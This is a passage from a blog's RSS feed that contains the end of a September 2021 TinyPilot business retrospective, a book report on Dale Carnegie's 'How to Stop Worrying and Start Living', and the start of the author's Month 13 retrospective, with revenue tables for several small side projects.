 srcset='https://mtlynch.io/retrospectives/2021/09/reviews_hu_8f55c7363872738e.png 300w, https://mtlynch.io/retrospectives/2021/09/reviews_hu_6c2b8aac124fa6ca.png 600w, https://mtlynch.io/retrospectives/2021/09/reviews_hu_a443c5e94850c376.png 800w, https://mtlynch.io/retrospectives/2021/09/reviews_hu_9780ced6d92a26ce.png 1200w, https://mtlynch.io/retrospectives/2021/09/reviews.png 2736w'
 src="https://mtlynch.io/retrospectives/2021/09/reviews.png" alt="Before and after shots of reviews on TinyPilot website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>And lastly, we redesigned the footer. It was a jumbled mess before, but now it looks deliberate and organized:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/footer.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/footer_hu_fe7acda35586b879.png 300w, https://mtlynch.io/retrospectives/2021/09/footer_hu_2f536feade5000fe.png 600w, https://mtlynch.io/retrospectives/2021/09/footer_hu_ac0b5a6d414f1e90.png 800w, https://mtlynch.io/retrospectives/2021/09/footer_hu_920254f322355bb8.png 1200w, https://mtlynch.io/retrospectives/2021/09/footer.png 2766w'
 src="https://mtlynch.io/retrospectives/2021/09/footer.png" alt="Before and after shots of TinyPilot footer" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is just a first pass. I&amp;rsquo;m going to hire a professional designer to &lt;a href="https://docs.google.com/document/d/1dypa3pwaTbzdOJzGrcYiiERuYSJ9GMrqxh80D-t_NKk/edit?usp=sharing">iterate on this&lt;/a>. If you have recommendations, &lt;a href="https://mtlynch.io/about">let me know&lt;/a>.&lt;/p>
&lt;h2 id="adding-a-european-distributor">Adding a European distributor&lt;/h2>
&lt;p>One of my biggest projects for the last few months has been arranging a distribution partnership with a German company, &lt;a href="https://punkt.de">punkt.de&lt;/a>. They launched &lt;a href="https://www.kvm-ip.de">their website&lt;/a> at the end of August, and they&amp;rsquo;re now accepting orders.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager_hu_6ec538d4524724fb.png 300w, https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager_hu_59fb057046782560.png 600w, https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager_hu_9f182c369aef4bf.png 800w, https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager.png 1145w'
 src="https://mtlynch.io/retrospectives/2021/09/kvm-ip-voyager.png" alt="Screenshot of European distributor&amp;#39;s site" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot Voyager now also &lt;a href="https://www.kvm-ip.de">ships from Europe&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Sales have been slower than I expected. Historically, I&amp;rsquo;ve sold 10-15 Voyagers per month to European customers, so I thought it would be easy for punkt.de to exceed that, as shipment from within the EU means faster delivery and more transparent pricing.&lt;/p>
&lt;p>I announced the European sales site to TinyPilot&amp;rsquo;s 400+ mailing list subscribers, but none of them purchased. Finally, this week, one customer purchased a Voyager, but we&amp;rsquo;re not sure why the volume is so low.&lt;/p>
&lt;p>Still, I&amp;rsquo;m hopeful that this partnership will be a big step forward for TinyPilot. I&amp;rsquo;m glad to have another entrepreneur with a vested interest in the company&amp;rsquo;s success and who can promote TinyPilot in additional markets.&lt;/p>
&lt;h2 id="carving-out-more-time-for-myself">Carving out more time for myself&lt;/h2>
&lt;p>For the past few months, I&amp;rsquo;ve been struggling to find time to grow TinyPilot. With so many moving pieces, I sometimes get stuck spending all my time filling the gaps between my teammates.&lt;/p>
&lt;p>Now, when I have available time, I invest in sales, but I also reserve time for delegating or automating tasks that others could do in my place.&lt;/p>
&lt;h3 id="automated-license-checks">Automated license checks&lt;/h3>
&lt;p>One of the silliest things I was still doing was verifying user licenses.&lt;/p>
&lt;p>If a user wants to reinstall TinyPilot from scratch, they need a disk image. I don&amp;rsquo;t offer the image publicly because otherwise, users would have no incentive to purchase it. Under the old system, users emailed me their order number, I looked it up to verify they were a real customer, and then I sent them a download link.&lt;/p>
&lt;p>It&amp;rsquo;s a classic &amp;ldquo;do things that don&amp;rsquo;t scale&amp;rdquo; task. I never prioritized it because it only happened 5-10 times per month. Still, it was a needless disruption, and I disliked making customers wait around for access to software they already purchased.&lt;/p>
&lt;p>In August, one of TinyPilot&amp;rsquo;s developers added a serverless function that checks purchase records from our Shopify store, and we implemented a simple web UI for it. This means that customers can download the latest disk image instantly without me being in the critical path.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 975px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/license-check.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 975px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/license-check_hu_7f3e585522fa46fd.png 300w, https://mtlynch.io/retrospectives/2021/09/license-check_hu_be19fa96506ff0c2.png 600w, https://mtlynch.io/retrospectives/2021/09/license-check_hu_d5c2eed37311dbe.png 800w, https://mtlynch.io/retrospectives/2021/09/license-check.png 973w'
 src="https://mtlynch.io/retrospectives/2021/09/license-check.png" alt="Screenshot of license check form on TinyPilot website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot customers used to email me when they needed a replacement disk image, but now the process is automatic.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="qa-testing">QA testing&lt;/h3>
&lt;p>A month or two after I began selling TinyPilot, I published a bad software update that broke keyboard input under certain conditions. Ever since then, I used a checklist of features that I test manually before each release.&lt;/p>
&lt;p>My checklist started out as a handful of items I could check in five minutes. As we&amp;rsquo;ve added more features, the checklist has grown longer to the point where testing a release takes me almost half a day.&lt;/p>
&lt;p>I&amp;rsquo;d love to automate QA testing, but some of the workflows are unfriendly to automation. So, I designed a system and documented steps for my local staff to run manual QA tests on spare hardware while recording their screen.&lt;/p>
&lt;p>In addition to eliminating a time-consuming task from my workload, delegating QA gives us an opportunity to fix bugs earlier. I noticed a pattern where I&amp;rsquo;d discover bugs during final QA testing that were not significant enough to delay the release. Now that the QA process isn&amp;rsquo;t blocked on me, we can run QA cycles mid-release and fix those minor issues.&lt;/p>
&lt;h2 id="can-i-afford-to-keep-writing">Can I afford to keep writing?&lt;/h2>
&lt;p>With the added time I gained from delegation, I&amp;rsquo;m doing more &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but non-urgent&lt;/a> things.&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m spending more time reaching out to customers proactively rather than talking only to customers with support issues.&lt;/li>
&lt;li>I&amp;rsquo;m exercising more regularly instead of cutting it out of my day because I feel too busy.&lt;/li>
&lt;li>I&amp;rsquo;m back to writing for an hour each morning.&lt;/li>
&lt;/ul>
&lt;p>I enjoy the habit of daily writing, but looking at my TinyPilot sales for the past two months, I don&amp;rsquo;t think I can afford it. There are ways that I can potentially increase TinyPilot&amp;rsquo;s sales that I can&amp;rsquo;t pursue due to lack of time. So, I&amp;rsquo;m planning to publish a sample chapter of &lt;a href="https://refactoringenglish.com">my book&lt;/a> and then scale back on writing until TinyPilot is consistently profitable.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>39,568&lt;/td>
 &lt;td>30,439&lt;/td>
 &lt;td>&lt;font color="red">-9,129 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>96,494&lt;/td>
 &lt;td>72,340&lt;/td>
 &lt;td>&lt;font color="red">-24,154 (-25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>13.0&lt;/td>
 &lt;td>12.0&lt;/td>
 &lt;td>&lt;font color="red">-1.0 (-8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$438.07&lt;/td>
 &lt;td>$358.43&lt;/td>
 &lt;td>&lt;font color="red">-$79.64 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$59.65&lt;/td>
 &lt;td>$43.73&lt;/td>
 &lt;td>&lt;font color="red">-$15.92 (-27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$497.72&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$402.16&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$95.56 (-19%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Last month, I mentioned that I was applying for Is It Keto to join a premium ad network. The network approved me, but I backed out of the deal. The contract terms felt especially onerous, even relative to typically onerous ad deals.&lt;/p>
&lt;p>My reading was that the ad partner could request unlimited site changes from me, and the contract required me to carry them out. It also required me to serve their ads exclusively for at least three months. If I even &lt;em>spoke&lt;/em> to another advertiser, I&amp;rsquo;d be in breach. The ad network, on the other hand, can drop me at any time or change the terms of the contract on a whim.&lt;/p>
&lt;p>So, I&amp;rsquo;m sticking with boring but reliable AdSense. My numbers are down, and it&amp;rsquo;s at least partially seasonal changes. I might also be losing visitors to a competitor that popped up in the last six months. I&amp;rsquo;m still focusing on TinyPilot instead of worrying about it.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>109&lt;/td>
 &lt;td>393&lt;/td>
 &lt;td>&lt;font color="green">+284 (+261%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$218.09&lt;/td>
 &lt;td>$728.90&lt;/td>
 &lt;td>&lt;font color="green">+$510.81 (+234%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$27.30 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$245.39&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$728.90&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$483.51 (+197%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>In August, I tried a &lt;a href="https://twitter.com/deliberatecoder/status/1426551146055876611">pay-what-you-want promotion&lt;/a> for &lt;em>Hit the Front Page of Hacker News&lt;/em>. For a week, customers could pay any price for the course, starting at $3. It roughly doubled the total number of course customers and brought in over $700 in revenue.&lt;/p>
&lt;p>I was hoping the promotion might jump-start sales even after I went back to regular pricing. If customers who bought at a discount recommended the course, it could create a self-sustaining cycle, but this hasn&amp;rsquo;t happened yet. There haven&amp;rsquo;t been any course sales whatsoever since the promotion ended, so it&amp;rsquo;s probably not going to create a viral purchasing frenzy.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>547&lt;/td>
 &lt;td>585&lt;/td>
 &lt;td>&lt;font color="green">+38 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,300&lt;/td>
 &lt;td>1,467&lt;/td>
 &lt;td>&lt;font color="green">+167 (+13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$620.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$390.80&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$229.87 (-37%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Last month, I saw an unexpected spike in Zestful revenue, and I &lt;a href="https://mtlynch.io/retrospectives/2021/08/#zestful">dismissed it as likely fraud&lt;/a>. To my surprise, it was a legitimate customer, and they paid their balance in full.&lt;/p>
&lt;p>This month, another customer had a big spike in usage, and this one seems legitimate as well. Both charges seem to be one-off bulk processing, but it&amp;rsquo;s good to see more usage.&lt;/p>
&lt;p>These past two months bring me to an exciting Zestful milestone: I&amp;rsquo;ve earned back my investment!&lt;/p>
&lt;p>I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#zestful">spent $7.4k&lt;/a> hiring a freelancer to help me launch the first version, and I had a few other smaller costs leading to a total cost of $8k. Including August, my lifetime revenue from Zestful is now $8,246, so the project has officially turned a profit. Of course, this was possible because I paid myself $0. On an hourly basis, Zestful has probably earned me about a nickel per hour.&lt;/p>
&lt;p>Lastly, a company reached out in August about potentially acquiring Zestful. I was upfront with them that its earnings are small, but if they want to acquire my solution instead of rolling their own, I&amp;rsquo;m open to it. We had a preliminary call, and they requested some historical data from me. They said they&amp;rsquo;re considering an offer. I&amp;rsquo;m not getting my hopes up, but it will be a nice bonus if it happens.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Helped European distributor launch his sales site&lt;/li>
&lt;li>Revamped TinyPilot&amp;rsquo;s homepage&lt;/li>
&lt;li>Delegated QA testing to my local staff&lt;/li>
&lt;li>Booked appearances on two podcasts&lt;/li>
&lt;li>Automated license checks for TinyPilot&lt;/li>
&lt;li>Migrated TinyPilot&amp;rsquo;s mailing list from Mailchimp to EmailOctopus&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Even though I&amp;rsquo;ve freed up enough time to write every day, it&amp;rsquo;s too early to borrow time from TinyPilot.&lt;/li>
&lt;li>I need to choose development tasks that have a high chance of impacting TinyPilot&amp;rsquo;s earnings.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a sample chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/li>
&lt;li>Start development on a monthly service-based software complement to TinyPilot&lt;/li>
&lt;li>Finalize the design of the Voyager 2&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Stop Worrying and Start Living by Dale Carnegie</title><link>https://mtlynch.io/book-reports/stop-worrying-start-living/</link><pubDate>Tue, 24 Aug 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/stop-worrying-start-living/</guid><description>&lt;p>As a big fan of Dale Carnegie&amp;rsquo;s &lt;em>How to Win Friends and Influence People&lt;/em>, I was interested in this book. 70 years after it was published, I still see people recommending it, so I had high hopes.&lt;/p>
&lt;p>Sadly, the book fell short of my expectations. When I read &lt;em>How to Win Friends and Influence People&lt;/em>, every chapter felt relevant and useful. In contrast, only about 20% of &lt;em>How to Stop Worrying and Start Living&lt;/em> felt useful. Most of the book is personal anecdotes that failed to connect with me and mental exercises that didn&amp;rsquo;t appeal to me.&lt;/p></description><content:encoded>&lt;p>As a big fan of Dale Carnegie&amp;rsquo;s &lt;em>How to Win Friends and Influence People&lt;/em>, I was interested in this book. 70 years after it was published, I still see people recommending it, so I had high hopes.&lt;/p>
&lt;p>Sadly, the book fell short of my expectations. When I read &lt;em>How to Win Friends and Influence People&lt;/em>, every chapter felt relevant and useful. In contrast, only about 20% of &lt;em>How to Stop Worrying and Start Living&lt;/em> felt useful. Most of the book is personal anecdotes that failed to connect with me and mental exercises that didn&amp;rsquo;t appeal to me.&lt;/p>
&lt;p>I&amp;rsquo;m glad I read the book, as I feel like the useful lessons were valuable enough to justify the cost of the fluff, but I wish that more of it resonated with me.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Several of the lessons helped me reduce stress and look at my life from different perspectives.&lt;/li>
&lt;li>The stories are often hokey, but they make the lessons feel more relatable.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The excerpts from the &amp;ldquo;third-party contributors&amp;rdquo; sound suspiciously like Dale Carnegie.&lt;/li>
&lt;li>Lots of the stories were fluff that didn&amp;rsquo;t resonate with me.&lt;/li>
&lt;li>A lot of the advice feels easier said than done.
&lt;ul>
&lt;li>e.g., just deciding to stop worrying about a problem once you&amp;rsquo;ve thought about it enough&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="live-in-day-tight-compartments">Live in &amp;ldquo;Day-tight compartments&amp;rdquo;&lt;/h3>
&lt;ul>
&lt;li>In a speech at Yale, Sir William Osler advised students to live in &amp;ldquo;day-tight compartments.&amp;rdquo;&lt;/li>
&lt;li>Osler had recently traveled across the Atlantic on a ship that could create watertight seals between parts of the ship during emergencies.&lt;/li>
&lt;li>Osler said that students have a larger journey than that boat, so they need to shut out the past and future to focus on today.&lt;/li>
&lt;li>The best way to prepare for the future is by thinking about how to do excellent work today.
&lt;ul>
&lt;li>Osler didn&amp;rsquo;t say to ignore the future entirely, just to avoid focusing too much on it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="formula-for-solving-worry-situations">Formula for Solving Worry Situations&lt;/h3>
&lt;ol>
&lt;li>Figure out the worst-case scenario for the thing that worries you.&lt;/li>
&lt;li>Find a way to accept that outcome if it were to happen.&lt;/li>
&lt;li>Devote your time to improving the outcome.&lt;/li>
&lt;/ol>
&lt;p>If you can accept the worst-case scenario, then anything above that is an improvement.&lt;/p>
&lt;h3 id="the-high-cost-of-getting-even">The High Cost of Getting Even&lt;/h3>
&lt;ul>
&lt;li>When you hold onto hatred of your enemies, you harm yourself more than you harm them.
&lt;ul>
&lt;li>It would delight your enemies to know that they occupy your thoughts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Carnegie asked Dwight Eisenhower&amp;rsquo;s son if his father ever held resentments:&lt;/p>
&lt;blockquote>
&lt;p>No, Dad never wastes a minute thinking about people he doesn&amp;rsquo;t like.&lt;/p>&lt;/blockquote>
&lt;p>No one can humiliate or disturb you unless you let them.&lt;/p>
&lt;h3 id="ignoring-ingratitude">Ignoring ingratitude&lt;/h3>
&lt;ul>
&lt;li>People become obsessed with resentment when they feel like someone shows them too little gratitude for a gift or favor.&lt;/li>
&lt;li>It&amp;rsquo;s natural for people to forget to show gratitude, so we shouldn&amp;rsquo;t expect it.
&lt;ul>
&lt;li>Jesus cured 10 lepers, and only one said thank you, so we shouldn&amp;rsquo;t expect more.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We need to find joy in the act of giving rather than relying on the recipient&amp;rsquo;s gratitude.&lt;/li>
&lt;li>Gratitude is a learned trait, so if you want your children to be grateful, you must demonstrate gratitude.&lt;/li>
&lt;/ul>
&lt;h3 id="would-you-take-a-million-dollars-for-what-you-have">Would you take a million dollars for what you have?&lt;/h3>
&lt;p>Would you sell any of these things for a million dollars?&lt;/p>
&lt;ul>
&lt;li>Your eyes&lt;/li>
&lt;li>Your legs&lt;/li>
&lt;li>Your hands&lt;/li>
&lt;li>Your family&lt;/li>
&lt;li>Your children&lt;/li>
&lt;/ul>
&lt;p>If not, you effectively have millions of dollars in assets for which to be thankful.&lt;/p>
&lt;h3 id="clear-your-desk">Clear your desk&lt;/h3>
&lt;ul>
&lt;li>To improve your focus and reduce stress, clear your desk of all papers except those related to the immediate problem at hand.&lt;/li>
&lt;li>Psychologist William Sadler had a story about helping an executive to manage stress at work.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&amp;ldquo;Tell me,&amp;rdquo; said the patient, &amp;ldquo;where do you keep your unfinished business?&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;Finished!&amp;rdquo; said Sadler.&lt;/p>
&lt;p>&amp;ldquo;And where do you keep your unanswered mail?&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;Answered!&amp;rdquo; Sadler told him. &amp;ldquo;My rule is never to lay down a letter until I have answered it. I dictate the reply to my secretary at once.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;h3 id="avoid-deferring-decisions">Avoid deferring decisions&lt;/h3>
&lt;ul>
&lt;li>Putting off hard decisions increases stress.&lt;/li>
&lt;li>When facing a hard problem, either make a decision with the information you have or make the decision to gather more information.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 13</title><link>https://mtlynch.io/retrospectives/2021/08/</link><pubDate>Thu, 05 Aug 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/08/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot&amp;rsquo;s EU distributor is on track to begin sales by the end of August.&lt;/li>
&lt;li>I&amp;rsquo;ve freed up time by delegating responsibilities to my teammates.&lt;/li>
&lt;li>I miraculously became unstuck on two tasks that have been blocking work for months.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="get-my-eu-partner-ready-to-begin-sales-by-the-end-of-august">Get my EU partner ready to begin sales by the end of August&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re on track to begin sales by the end of the month.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This went well. By next week, my distributor should have all the parts and instructions he needs to begin assembling his own TinyPilot Voyager devices. He&amp;rsquo;s on track to begin sales by the end of this month.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot&amp;rsquo;s EU distributor is on track to begin sales by the end of August.&lt;/li>
&lt;li>I&amp;rsquo;ve freed up time by delegating responsibilities to my teammates.&lt;/li>
&lt;li>I miraculously became unstuck on two tasks that have been blocking work for months.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="get-my-eu-partner-ready-to-begin-sales-by-the-end-of-august">Get my EU partner ready to begin sales by the end of August&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re on track to begin sales by the end of the month.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This went well. By next week, my distributor should have all the parts and instructions he needs to begin assembling his own TinyPilot Voyager devices. He&amp;rsquo;s on track to begin sales by the end of this month.&lt;/p>
&lt;h3 id="define-processes-that-allow-tinypilots-local-staff-to-share-and-alternate-on-all-tasks">Define processes that allow TinyPilot&amp;rsquo;s local staff to share and alternate on all tasks&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We created a shared to-do list that lets staff alternate tasks.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot has never had more than one person at a time managing inventory and fulfillment tasks. It was harder than I expected to create systems that allow two people to share responsibilities equally, but we now have a working system that allows both employees to alternate tasks and coordinate schedules. In addition, I documented the gaps I was filling in so that local staff can handle them.&lt;/p>
&lt;h3 id="find-a-designer-for-the-tinypilot-sales-site">Find a designer for the TinyPilot sales site&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: A new developer is in the process of a redesign.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>After months of searching, I finally found a web developer to work on the TinyPilot website, and he&amp;rsquo;s in the process of redesigning it.&lt;/p>
&lt;h3 id="find-an-electrical-engineering-firm-that-can-create-a-poe-adaptor-for-tinypilot-voyager">Find an electrical engineering firm that can create a PoE adaptor for TinyPilot Voyager&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: My original firm found components that allow them to create a PoE adaptor.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>This was another lucky breakthrough. The global chip shortage stymied my electrical engineering firm for months, so I started reaching out to bigger vendors who might have better connections to electronics supply chains. It was going to be a slow process, and they&amp;rsquo;d likely want to start from scratch.&lt;/p>
&lt;p>Fortunately, TinyPilot&amp;rsquo;s existing electrical engineering partner managed to find a supply that should last us 6-12 months at a price less than 10% of what I was prepared to pay. They&amp;rsquo;re currently working on a PCB design for a PoE adaptor and expect to have a prototype within the next 4-6 weeks.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,339&lt;/td>
 &lt;td>5,234&lt;/td>
 &lt;td>&lt;font color="red">-1,105 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>11,514&lt;/td>
 &lt;td>9,730&lt;/td>
 &lt;td>&lt;font color="red">-1,784 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$29,446.46&lt;/td>
 &lt;td>$23,954.64&lt;/td>
 &lt;td>&lt;font color="red">-$5,491.82 (-19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$0 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$29,494.46&lt;/td>
 &lt;td>$24,002.64&lt;/td>
 &lt;td>&lt;font color="red">-$5,491.82 (-19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$9,452.32&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$9,713.34&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>N/A&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales continue to slump, as I&amp;rsquo;ve been focusing on setting up EU distribution and transitioning TinyPilot&amp;rsquo;s fulfillment processes to local staff. I&amp;rsquo;m lucky that TinyPilot can continue to hit $24k in revenue two months without any marketing or advertising, but I need to increase my investments in sales and marketing over the next few months.&lt;/p>
&lt;h2 id="moving-to-a-managed-inventory-service">Moving to a managed inventory service&lt;/h2>
&lt;p>From the first few months of TinyPilot, I&amp;rsquo;ve been looking for a managed service to track inventory. The cheap solutions were too simple and only worked for products that required no assembly or manufacturing. The high-end solutions were overly complicated, designed for Enterprise-grade customers with thousands of products and multiple warehouses.&lt;/p>
